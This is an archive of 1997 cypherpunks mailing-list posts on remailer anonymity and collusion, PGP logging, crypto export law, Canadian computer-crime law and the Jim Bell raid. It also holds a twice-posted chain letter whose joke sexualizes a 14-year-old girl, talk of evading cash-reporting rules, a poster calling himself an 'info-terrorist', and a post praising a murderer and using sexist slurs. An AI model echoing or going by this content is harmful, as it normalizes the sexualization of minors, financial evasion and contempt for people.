>At 05:30 PM 5/15/97 -0700, Steve Schear wrote:
>>Smaller operators
>>could deposit the funds in their demand deposit accounts or sell to
>>Aggregators who would offer to take any CTR related heat.
>
>I believe the term is "smurfing".

I believe the proper term is jobber.  Don't help the gubbermint assign new
'biased' terms (mediaspeak) to those which are well established.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 16 May 1997 21:08:04 +0800
To: geeman <geeman@best.com>
Subject: Re: PGPMail keets tabs on you!
In-Reply-To: <337C13AC.6F5C@best.com>
Message-ID: <199705161254.HAA18130@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <337C13AC.6F5C@best.com>, on 05/16/97 at 01:58 AM,
   geeman <geeman@best.com> said:


>... This is from the log file that pgp keeps on my machine,
>\WINDOWS\PGPWS_32.LOG.

>There appears to be a lot of interesting information here:
> -- I did not encrypt with IDEA only
> -- the recipients of the message I sent are shown along with the public
>key IDs
> -- The SIZE of the message!

>I have obfuscated some of the details from the actual log.  The "?"s
>indicate removed details.

I looked over the log details the you provided and this is rather odd.


I am currently working on some logging features for my next release of
E-Secure. The purpose of this is to aid the user with keyring management. I
plan on keeping the log files encrypted and having this a user selectable
option (the user can turn logging off if he wishes). The contents of the
PGPWS_32.LOG seems to go beyond what would be need for this purpose though.

I'll have to boot into NT (yech) and take a look at what it is doing.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The Gates of hell.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3xnzo9Co1n+aLhhAQEL+QQAsO3V9OU0lyM8QXtf7QA8ivzBXV8pFOjM
6mMlDgximk3m7uwCFEReD23AXBAGsqdzYg0XwYvOIy9DWo1l6TuhtpGeWI1up3Jr
uBdB6V7jYu7sBdiRlnhori2hOEA9MZB4JM042aJIyl/x8VtGE3zlGzrNhpcidQBe
defxvL95lRg=
=Y/MQ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 16 May 1997 21:42:04 +0800
To: Tim May <tcmay@got.net>
Subject: Re: MSNBC poll on crypto
In-Reply-To: <v03007806afa1921a6fd1@[207.167.93.63]>
Message-ID: <199705161321.IAA18479@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007806afa1921a6fd1@[207.167.93.63]>, on 05/15/97 at 10:32 PM,
   Tim May <tcmay@got.net> said:


>At 5:55 PM -0800 5/15/97, Declan McCullagh wrote:
>>Should the United States
>>       remove restrictions on
>>       the export of powerful
>>       encryption technology?
>>
>>       * 283 responses
>>
>>       Unequivocally yes (84.1%)

>You left out the very next question:

>Should the United States allow unbreakable, military-grade cryptography to
>be used undetectably by child pornographers, terrorists, and money
>launderers?

>         * 283 responses

>         Unequivocally "No" (93.4%)


>You see, it all depends on how the question is asked. I have long argued
>that Americans are split, simultaneously, between two opposing world
>views:

>"What have you got to hide?"

>and

>"None of your damned business."

>Depending on the issue, or how the issue is phrased, either view may
>surface.

>I certainly don't trust opinion polls. If MSNBC conducts a similar poll
>after an Oklahoma City type of event, which we all have reason to suspect
>is about to happen in the next six or seven months, and crypto is found to
>be involved (seems likely), we can expect an opinion poll which arrives at
>the "What have they got to hide" conclusion.

>So?

>--Tim May


Well this is exactly why the Founding Fathers set up the form of government
that they did rather than going with a "pure" democracy. The intent was to
insolate the governing process from the lynch mob mentality. This is
doublely so with the Bill of Rights and the Amendment process. They are
there to provide a break on the "mob" and give time to reflect on the long
term consequences of perprosed actions.

Unfortunatly all 3 branches of government have desided that they nolonger
need to abide by the laws spelled out in the Constitution solong as it
politically expediant.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Walk through doors, don't crawl through Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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pdEaqt4k/k+wNjogT6P1pkV1+Tb0V2TH7No94QjnWPTZmrqfwM6UmN6aqzaQeoIj
nQh/yaNFcLsB7GNX6Gcye94grHKBIziA2/9HzIIFiIisFt8ffyiwUGcnmsoEpWyS
5vnM6u5EhU8=
=EWl0
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 17 May 1997 00:07:17 +0800
To: cypherpunks@algebra.com
Subject: Re: Anonymous Remailers
In-Reply-To: <19970515192926.34411@bywater.songbird.com>
Message-ID: <19970516084846.60052@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 16, 1997 at 12:34:33PM +0200, Ulf Möller wrote:
> > Hmm.  I did read, and I thought I understood this.  I claim that if
> > the remailers collude, then there in no anonymity.  Correct?
> 
> Correct.
> 
> > Even if I insert my own remailer in the list it doesn't help, if the
> > others are all in cahoots.  This seems pretty obvious.  They all
> > compare logs, and saved copies of the messages, and my message can
> > be tracked from beginning to end.  Right?
> 
> Wrong. One trusted mix is enough to guarantee anonymity: There is a
> large number of fixed-size messages coming in and a large number of
> messages going out in random order.  (Consult the archives for
> information about possible attacks, such as flooding a remailer with
> dummy messages, and how to detect/prevent them.)

"Guarantee" is a strong word, wouldn't you say? Simple case: you have
two messages; one you know I wrote, the other I didn't, you don't know
which.  You could say that is "anonymity".  That's a reasonable use 
of the term.  But it wouldn't make me feel secure.  So that boils 
down to what is a "large" number.  (I confess I *haven't* read the 
archives about flooding attacks.  However, I don't see how they could 
be guarded against if *all* the other remailers are in collusion.  
But perhaps that case has been considered...)

> > I see a list of remailers posted on cypherpunks periodically -- a
> > "cypherpunks" approved list, therefore.  Lucky Green admits publically
> > that he personally knows several of the remailer operators.
> 
> So you say Raph actually *is* part of the cypherpunk conspirary??!

Of course.  I don't know Raph from Adam -- *I* just see a list posted
on cypherpunks.  For that matter, of course, you could be Tim May, as
are all the "(T)ruth (M)ongers", and many other of the "personalities"
on this list... 

> BTW, that list is the "list of reliable remailers", not the "list of
> cypherpunk approved remailers".  Now guess how a remailer qualifies to
> be listed.

J E Hoover certified them?  If I persist in my conspiracy theory, 
then it makes absolutely no difference how they qualify -- the list 
is just text produced by the cp conspiracy, after all, creatively 
edited to make it look legit.

But seriously, I thought it was buy sending "ping" messages through 
them -- is there something more to it?

> > And clearly, remailer operators must share a common ideological
> > focus...
> 
> Remailer operators share the belief that it must be possible to use
> the net anonymously, without leaving traces.  Is that what you mean?
> 
> PS: Did you know that one remailer operator formerly was a soldier in
> East Germany's National People's Army?

How do you know that?  And why should I believe you?

Anyway, Ulf, as I said in my previous message, this was all started by
me poking fun of my "contemptible" status among the cyphperpunks. 
That status is partially fueled by the fact that I work for that evil
conspiracy, the "government".  (In all honesty, I must confess that it
may also be partially fueled by various failings of my own.)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 17 May 1997 00:56:03 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous Remailers
In-Reply-To: <19970515192926.34411@bywater.songbird.com>
Message-ID: <19970516091303.36502@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


	On Fri, May 16, 1997 at 10:27:19AM +0100, Adam Back wrote:
> 
> Kent Crispin <kent@songbird.com> writes:
> > [about remailers]
> > Hmm.  I did read, and I thought I understood this.  I claim that if
> > the remailers collude, then there in no anonymity.  Correct? Even if I
> > insert my own remailer in the list it doesn't help, if the others are
> > all in cahoots.  This seems pretty obvious.  They all compare logs, 
> > and saved copies of the messages, and my message can be tracked from 
> > beginning to end.  Right?
> 
> Not entirely.
> 
> If other people use your remailer also, and you have latency, they'll
> see n messages going into your remailer, and n come out.  There will
> be log2(n) entropy added, they won't know which of those are from you
> and which from the other users.
> 
> Flooding attacks might make the situation worse, say you wonder if all
> of the messages apart from your own are from the attackers, and that
> the purpose of these messages is to flush your message out of the
> mixing pool.

And of course, in some environments running a remailer would be highly 
suspicious -- even more so if it is a *public* remailer.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sat, 17 May 1997 00:56:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: your mail
Message-ID: <199705161623.JAA20657@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


Subject: "Liten rolig historia (fwd)" (fwd)


Nothing wrong in being superstitious...

 > > READ THIS MESSAGE AND PASS IT ON....
 > > A man takes the day off work and decides to go out golfing.  He is
 > > on the second hole when he notices a frog sitting next to the green.
 > > He  thinks nothing of it and is about to shoot when he hears,
 > > "Ribbit. 9 Iron"  The man looks around and doesn't see anyone.
 > > "Ribbit. 9 Iron." He looks at  the frog and decides to prove the
 > > frog wrong, puts his other club away, and  grabs a 9 iron. Boom! he
 > > hits it 10 inches from the cup. He is shocked. He  says to the frog,
 > > "Wow that's amazing. You must be a lucky frog, eh?" The frog reply's
 > > "Ribbit. Lucky frog." The man decides  to take the frog with him to
 > > the next hole. "What do you think frog?" the  man asks. "Ribbit. 3
 > > wood."  The guy takes out a 3 wood and Boom! Hole in one. The man is
 > > befuddled and doesn't know what to say. By the end of the day, the
 > > man golfed the best game of golf in his life and asks the frog,"OK
 > > where to next?" The frog replied, "Ribbit. Las Vegas." They go to
 > > Las Vegas and the guy says, "OK frog, now what?"  The frog says,
 > > "Ribbit Roulette." Upon approaching the roulette table, the man
 > > asks," What do you think I should bet?" The frog replies, "Ribbit.
 > > $3000,black 6." Now, this is a million-to-one shot to win, but after
 > > the golf game, the man figures what the heck. Boom! Tons of cash
 > > comes sliding back across the table. The man takes his winnings and
 > > buys the best room in the hotel.  He sits the frog down and says,
 > > "Frog, I don't know how to repay you.  You've won me all this  money
 > > and I am forever grateful." The frog replies, "Ribbit, Kiss Me." He
 > > figures why not, since after all the frog did for him he deserves
 > > it. With a  kiss, the frog turns into a gorgeous 14-year-old girl.
 > > "And that, your honor, is how the girl ended up in my room."
 > >
 > > The origination of this letter is unknown, but it  brings good
 > > luck to everyone who passes it on.  The one who breaks the chain
 > > will have bad luck.  Do not keep this letter.  Do not send money.
 > > Just forward it to five of your friends to whom you wish good luck.
 > > You will see that something good happens to you four days from now
 > > if the chain is not broken.  You will receive good luck in four
 > > days.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sat, 17 May 1997 02:19:09 +0800
To: cypherpunks@toad.com
Subject: Re: your mail
Message-ID: <199705161633.JAA20790@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


Subject: "Liten rolig historia (fwd)" (fwd)


Nothing wrong in being superstitious...

 > > READ THIS MESSAGE AND PASS IT ON....
 > > A man takes the day off work and decides to go out golfing.  He is
 > > on the second hole when he notices a frog sitting next to the green.
 > > He  thinks nothing of it and is about to shoot when he hears,
 > > "Ribbit. 9 Iron"  The man looks around and doesn't see anyone.
 > > "Ribbit. 9 Iron." He looks at  the frog and decides to prove the
 > > frog wrong, puts his other club away, and  grabs a 9 iron. Boom! he
 > > hits it 10 inches from the cup. He is shocked. He  says to the frog,
 > > "Wow that's amazing. You must be a lucky frog, eh?" The frog reply's
 > > "Ribbit. Lucky frog." The man decides  to take the frog with him to
 > > the next hole. "What do you think frog?" the  man asks. "Ribbit. 3
 > > wood."  The guy takes out a 3 wood and Boom! Hole in one. The man is
 > > befuddled and doesn't know what to say. By the end of the day, the
 > > man golfed the best game of golf in his life and asks the frog,"OK
 > > where to next?" The frog replied, "Ribbit. Las Vegas." They go to
 > > Las Vegas and the guy says, "OK frog, now what?"  The frog says,
 > > "Ribbit Roulette." Upon approaching the roulette table, the man
 > > asks," What do you think I should bet?" The frog replies, "Ribbit.
 > > $3000,black 6." Now, this is a million-to-one shot to win, but after
 > > the golf game, the man figures what the heck. Boom! Tons of cash
 > > comes sliding back across the table. The man takes his winnings and
 > > buys the best room in the hotel.  He sits the frog down and says,
 > > "Frog, I don't know how to repay you.  You've won me all this  money
 > > and I am forever grateful." The frog replies, "Ribbit, Kiss Me." He
 > > figures why not, since after all the frog did for him he deserves
 > > it. With a  kiss, the frog turns into a gorgeous 14-year-old girl.
 > > "And that, your honor, is how the girl ended up in my room."
 > >
 > > The origination of this letter is unknown, but it  brings good
 > > luck to everyone who passes it on.  The one who breaks the chain
 > > will have bad luck.  Do not keep this letter.  Do not send money.
 > > Just forward it to five of your friends to whom you wish good luck.
 > > You will see that something good happens to you four days from now
 > > if the chain is not broken.  You will receive good luck in four
 > > days.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 16 May 1997 22:36:24 +0800
To: cypherpunks@algebra.com
Subject: eternity-lite & cancel msgs
Message-ID: <199705160845.JAA00241@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



One issue with the system is that censors will issue cancel messages
for the articles.  Not too much which can be done about this.  Some
trends tend to help this problem:

Cancel message abuse by people running cancel bots reflecting their
censorous views have resulted in some sites ignoring cancel messages.
PGPmoose provides a better method of allowing only the author to
cancel.  Or NoCEM provides a ratings system framework, which is
superior to using cancels.

Another aspect of the system is that it relies on news archival
services such as dejanews and altavista; these presumably don't listen
to cancel messages for already archived data (? guessing here).  The
archive maintainers presumably don't want to get involved in disputes
over which old articles should be purged from their archive anyway.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 17 May 1997 01:57:36 +0800
To: cypherpunks@algebra.com
Subject: Disinformation from folks like Kent on this list
In-Reply-To: <199705151347.JAA18147@bksmp2.FRB.GOV>
Message-ID: <v03007809afa24cd04da0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:03 AM -0800 5/16/97, Duncan Frissell wrote:

>Kent should try and read up a little.  The slaughter in Rawanda started when
>the government radio stations began broadcasting orders for tribal members to
>come by and pick up their government-purchased machetes and get out there and
>start hacking.  It was a classic government ordered slaughter.
...

The problem I have with Kent is _not_ that he works for LLNL, and not even
that he has charitable things to say about mandated key recovery systems.
After all, others here on this list also work for the government (including
The Real Government (tm), the Federal Reserve). And so on.

No, what I find so irksome about Kent is his obdurate unwillingness to
bother to learn whereof he speaks:

- unawareness of the situation in Rwanda, though he cites it as an example
of why "anarchy leads to mass killings."

- he cites hackneyed Webster's definitions of "anarchy" to make some point,
then objects that others are relying too much on definitions when they
refute him.

- he claims remailer networks are insecure without apparently having
comprehended how chained remailers work and without apparently even
glancing at the 1981 Chaum paper or the followup papers on DC-Nets (which
discuss collusion sets in great detail).

- he proudly admits to not having looked at past archives, nor I presume at
the large file I generated a few years ago (Cyphernomicon), covering many
of the issues he keeps raising.

- he claims his flavor of "key recovery" is demanded by corporations, but
seems unwilling to then just let corporations do as they wish in this
regard (if corporations really want it, they'll get it...but not in the GAK
form the government is insisting it be in). He also cites key recovery as a
middle ground in the war on crypto, thus implying (counter to his claimed
support of voluntary systems) key recovery will not be voluntary.

(Speaking as an info-terrorist who sees strong crypto as a tool for
triggering the eventual collapse of governments and dispenser of justice to
the criminal rulers, I certainly won't be "volunteering" to use any key
recovery tools, leastwise none that put the key in any subpoenable
repository. Maybe key recovery with my lawyer, outside the U.S., but not in
any Netscape's Trusted Key Suppository.)

And so on.

I've taken to sometimes responding to him, but usually not. Nothing
delights me more than seeing some long rambling criticism of us, and our
work, and then deleting it.

Kent is just one of several folks who've discovered this list, share none
of its core values, and seeks to disrupt it with innuendos, spam, insults,
and disinformation.

Kent, please go away.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 17 May 1997 02:25:55 +0800
To: cypherpunks@toad.com
Subject: New Canadian Techno Law
Message-ID: <199705161704.KAA18293@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


>From RCMP Web Site: http://www.rcmp-grc.gc.ca/

Late last year, Allan Rock, minister of justice, introduced a bill
containing nearly 150 proposed
amendments to the Criminal Code and related statutes. Highlights of Bill
C-17 include several
changes to address computer crime, credit card forgery and fraud and
fraudulently obtaining
services. The RCMP, supported strongly by the Canadian Bankers
Association and the Canadian
issuers of Visa and MasterCard, had previously urged a number of changes
to offences dealing with
credit card fraud and computer-assisted crimes. 

Bill C-17 is presently before Parliament and is in the second reading
stage. The following legislative
proposals will be of interest to law enforcement agencies and to our
private and public sector
partners engaged in the detection, investigation, and prosecution of
technological crime:

     Expanding section 183 of the Criminal Code to include new offences
for which an
     authorization to intercept private communication could be granted.
The new offences
     would include, inter alia, section 327, section 342, section 342.1,
section 342.2, and
     section 430 of the Criminal Code. 
     Amending section 342 to make possession, use, or trafficking of
forged credit cards
     an offence. 
     Amending section 342 to make the misuse of credit card data an
offence. 
     Amending section 342 to make it an offence to make, buy or sell,
export or import,
     or possess equipment intended for use in forging credit cards. 
     Amending section 342.1 to make it an offence to use, possess, or
traffick in
     computer passwords that would enable another person to fraudulently
obtain a
     computer service. 
     Creating section 342.2 to make it an offence to make, possess,
sell, offer for sale, or
     distribute any instrument or device that is intended to be used to
fraudulently obtain
     a computer service. 
     Amending section 487 to impose a duty on the person in possession
or control of a
     computer system to provide data in the form of a print-out or other
intelligible output
     when a lawful search of such a facility is being conducted.

Technological Crime Section is optimistic that the proposed amendments,
once passed into law, will
significantly aid its efforts in dealing with this rapidly emerging and
sometimes very troublesome
genre of crimes.

 For further information and updates on the progress of this bill,
readers are encouraged to
       consult the Department of Justice Homepage at:
http://canada.justice.gc.ca.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 17 May 1997 02:08:13 +0800
To: cypherpunks@cyberpass.net
Subject: Another Bell related raid
Message-ID: <Pine.GSO.3.96.970516100122.11413C-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


This is from the Oregonian May 16th, 1997 page B3 under the Vancouver
section.

2nd home raided in probe of anti-government activities

A team of federal agents, led by IRS internal security personnel, raided a
home at 711 W. 20th St. Thursday morning.

The raid apperently is a continuation of an investigation into the
activities of James D. Bell, whose McLaughlin Heights home at 7214
Corregidor Road was raided April 1st.

The 20th Street home is occupied by Robert W. West, who was not home when
the raid occured.

A federal agent who answered his phone during the search refused to say
what the agents were seeking.

The search warrent application and affidavit is under seal by a federal
court in Tacoma.

In the affidavit for the search warrent for Bell's home, IRS Special
Investigator Jeff Gordon alledged that Bell was "directly solicting others
to set up a system to murder government officials."

Bell is the author of a 10-part essay called "Assassination Politics,"
which has been widely circulated on the Internet, particularly in
anti-government forums.

After the raid, agents made no other public statements.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 16 May 1997 22:47:17 +0800
To: kent@songbird.com
Subject: Re: Anonymous Remailers
In-Reply-To: <19970515192926.34411@bywater.songbird.com>
Message-ID: <199705160927.KAA01424@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:
> [about remailers]
> Hmm.  I did read, and I thought I understood this.  I claim that if
> the remailers collude, then there in no anonymity.  Correct? Even if I
> insert my own remailer in the list it doesn't help, if the others are
> all in cahoots.  This seems pretty obvious.  They all compare logs, 
> and saved copies of the messages, and my message can be tracked from 
> beginning to end.  Right?

Not entirely.

If other people use your remailer also, and you have latency, they'll
see n messages going into your remailer, and n come out.  There will
be log2(n) entropy added, they won't know which of those are from you
and which from the other users.

Flooding attacks might make the situation worse, say you wonder if all
of the messages apart from your own are from the attackers, and that
the purpose of these messages is to flush your message out of the
mixing pool.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 17 May 1997 02:21:27 +0800
To: cypherpunks@algebra.com
Subject: Total Paranoids Don't Need Cryptography
In-Reply-To: <19970515192926.34411@bywater.songbird.com>
Message-ID: <v0300780aafa255fd7571@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



May's Second Law of Paranoia: If everyone is out to get you, cryptography
is pointless.

May's Lemma for Remailers: If they are out to get you, and all remailers
are colluding to help get you, then remailers are worthless.


The recent "criticism" of remailers by Kent Crispin is just a manifestation
of these obvious points. Truly, if everyone outside of some agent, Albert,
is colluding with each other, then simple comparisons of what they've sent
to each other must leave what Albert has sent.

(There is still a minor use of cryptography in terms of encrypting diaries,
or records on a machine, for example, even in a world in which they are all
to get one.)

The more interesting issues are the tradeoffs between sizes of collusion
sets, the partitioning of the graphs into collusion sets, and estimates of
remailer entropy in the presence of varying amounts of collusion, low
latency/mixing, etc.

Many of us have of course argued for years that more detailed studies are
needed...Kent observing that if all remailers are colluding one gets fewer
(or no) benefits is hardly original or profound. Cf. the discussions of
collusion by Chaum, Birgit Pfitzman (Eurocrypt, I think in 1989), Hal
Finney, Wei Dai, myself, and others.

"All cryptography is economics." (Eric Hughes)

All remailer security is about economics, about how many colluders are out
there, about the incentives and disincentives they feel to collude (*), etc.

(* Any remailer who seeks to collude will quite quickly become known to
other remailers as a colluder. I think a fairly stable equilibrium is for
nearly all remailers to refuse to collude on general principles, and only
collude in extreme circumstances.)

If critics of remailers like Kent will not even bother to think deeply
about these issues, with some back of the envelope calculations, and with
some perusal of the main papers and articles in the area, I fail to see why
we should take his points with any degree of seriousness.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Fri, 16 May 1997 23:31:57 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Civil Disobediance
In-Reply-To: <199705152201.XAA02581@server.test.net>
Message-ID: <199705161509.LAA07342@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back writes:

: 
: Dr Roberts writes:
: > Perhaps there is a way to turn the training on the trainers?  Civil
: > disobediance is the best way to do this.  Were a relatively small
: > number of people, a thousand for instance, to post the "RSA in 3
: > lines" code to the world, it would be highly unlikely that anybody at
: > all would be prosecuted, 
: 
: Many 1000s of people have exported it.  See also Vince Cate's arms
: trafficker page.
: 
: 	http://online.offshore.com.ai/arms-trafficker/
: 
: Around 3000 T-shirts were sold also.  Guess there are a fair number of
: people practicing civil disobedience in the US as a result.  They're
: still selling, see:
: 
: 	http://www.dcs.ex.ac.uk/~aba/uk-shirt.html
: 
: for order info.
: 
: While it's probably technically illegal to export, it clearly doesn't
: get you in trouble to export it.  Raph Levien sent off a Commodity
: Jurisdiction Request together with a sample T-shirt to ask permission
: to export the T-shirt under the ITAR regulations.  They did not answer
: his request.  I presume that they viewed either a "yes" or a "no" as a
: loose for them.  If they say no, they open themselves for mockery in
: the press, if they say yes, we progress the situation.  Export on
: paper?  Floppy?  Internet?  Bigger programs.

Under the new Commerce Department export regulations it appears that
encryption software printed as hard copy---and I think that T-shirts
are hard enough for this purpose---can be freely exported.  But
the same material in electronic form may not be exported or placed on
a web site without a license.  So the T-shirts are now OK, but under
the EAR it is still an offense to send the code in a sigfile to an
international e-mail list.

It is possible that the application for permission to export the
T-shirt may have influenced this result.

(What is Raph Levien's e-mail address?  I would like to ask him the
details about his application for a Commodity Jurisdictionb Request.
It should be an amusing footnote in my casebook for my course in
computers and the law.)

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 17 May 1997 02:28:08 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous Remailers
Message-ID: <3.0.32.19970516110435.00736b80@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:39 PM 5/15/97 CST, TruthMonger wrote:
>Tim May wrote:
>
>> Further, a clever little fix is to make one's own remailer site a link in
>> the chain. All a snooping subset of remailers can do is trace the message
>> back to your own remailers. Obviously, they can't know if the message was
>> merely _remailed_ through your site, or _originated_ there. Thus, including
>> oneself as a remailer also provides excellent plausible deniability.)
>
>  This is a lame idea with no merit whatsoever.

Since Tim's statement describes today's standard practice for increasing
security for one's remailed messages, perhaps TruthMonger would like to
explain why it has no merit. But then again, TruthMonger = Infowar. Guess
we won't see an explanation that has merit.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 17 May 1997 00:14:57 +0800
To: cypherpunks@toad.com
Subject: Dan White & Feinstein
In-Reply-To: <19970515002241.20918@bywater.songbird.com>
Message-ID: <3.0.1.32.19970516110732.02653dd4@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>Dan White committed suicide, after a while.  He probably died sooner than
>the state could have killed him, with appeals and all.  Anyway, Feinstein
>has had a fair amount of first hand experience with gun violence -- more
>than most people on this list.  Her stand on gun control is probably the
>most principled and honest one she has made.

Dan White, San Francisco Supervisor and killer of Mayor Moscone and Harvey
Milk (1978) committed suicide after he had been released from serving his 5
years and 2 months maximum sentence for manslaughter.  (Depression which made
him incapable of forming the specific intent required to be guilty of
murder.)  Feinstein had been a friend of his when he was on the Board of
Supes and it is possible that one of the reasons he lost it during the crisis
over his resignation and attempt to get back on the Board was because
Feinstein was in Nepal on her honeymoon (millionaire second husband) and
wasn't there to support him. 

[I may be partially to blame as well.  I was living in Dan White's district
(the oppressed white working class part of SF) at the time of his original
election.  He dropped by the house and solicited my vote.  I voted for him,
in fact.  And he certainly turned out to be a supporter of the revolutionary
aspirations of his community.  The least disappointing politician I ever
voted for.]

Feinstein want to grab your guns because she is an authoritarian.  Not
because of any particular experiences she's had with guns.  She has shown
equal contempt for the First Amendment and the Second.  She's ma woman and a
commie liberal.  What can one expect.

While mayor of San Francisco, she indulged in a number of famous suppressions
of free speech:

1)  She cancelled the appearance of the Turkish Folklorico Ballet because of
demonstration threats from the (no longer starving) Armenians.

2)  She tried to ban the showing of whatever that dumb New York gang movie
was after a stabbing at one of the theaters showing it.

3)  She pressured a clothing store to pull its billboard ad campaign
"Feinstyle" which featured a (fully clothed) reclining, look-alike model
wearing her sort of scarf and business attire.

Her current humorous attempt to ban "bomb plans" from the Net is just part of
